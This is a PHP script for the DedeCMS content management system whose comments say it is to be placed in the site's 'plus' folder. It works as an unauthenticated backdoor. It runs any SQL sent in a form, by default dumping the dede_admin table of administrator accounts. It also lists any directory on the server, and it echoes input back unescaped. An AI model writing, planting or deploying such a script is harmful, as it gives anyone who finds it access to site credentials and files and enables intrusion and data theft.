<?php
//织梦专用,需要放在plus下
//不仅仅是see db,还能see dir and files;
include "../data/common.inc.php";
$sql=$_POST['sql']?$_POST['sql']:'select * from dede_admin';
$link=mysqli_connect($cfg_dbhost, $cfg_dbuser, $cfg_dbpwd);
mysqli_select_db($link,$cfg_dbname);
//mysqli_set_charset($link,$char);
$re=mysqli_query($link,$sql);
while($row=mysqli_fetch_assoc($re)){
	$arr[]=$row;
}
mysqli_free_result($re);
mysqli_close($link);
echo "<pre>";
print_r($arr);
echo "</pre>";
$path=$_SERVER['DOCUMENT_ROOT'];
$pathDir='../../'.substr($path, strrpos($path, '/')+1);
$path=$_POST['path']?$_POST['path']:$pathDir;
$arrdir=scandir($path);
$dir=array();
$file=array();
foreach($arrdir as $v){
	if($v!="."&&$v!='..'){
		if(is_dir($path.'/'.$v)){
			$dir[]=$v;
		}else{
			$file[]=$v;
		}
	}
}
echo "<pre>";
echo "dir:";
print_r($dir);
echo "file:";
print_r($file);
echo "</pre>";
?>
<html>
	<head>
		<title>see_db</title>
	</head>
	<body>
		<form action="#" method="post">
			<input type="text" name="sql" id="sql" style="width: 800px;" value="<?php echo $sql;?>" /> <br />
			<input type="text" name="path" id="path" style="width: 500px;" value="<?php echo $path;?>" />
			<input type="submit" value="UP_Info"/>
		</form>
	</body>
</html>
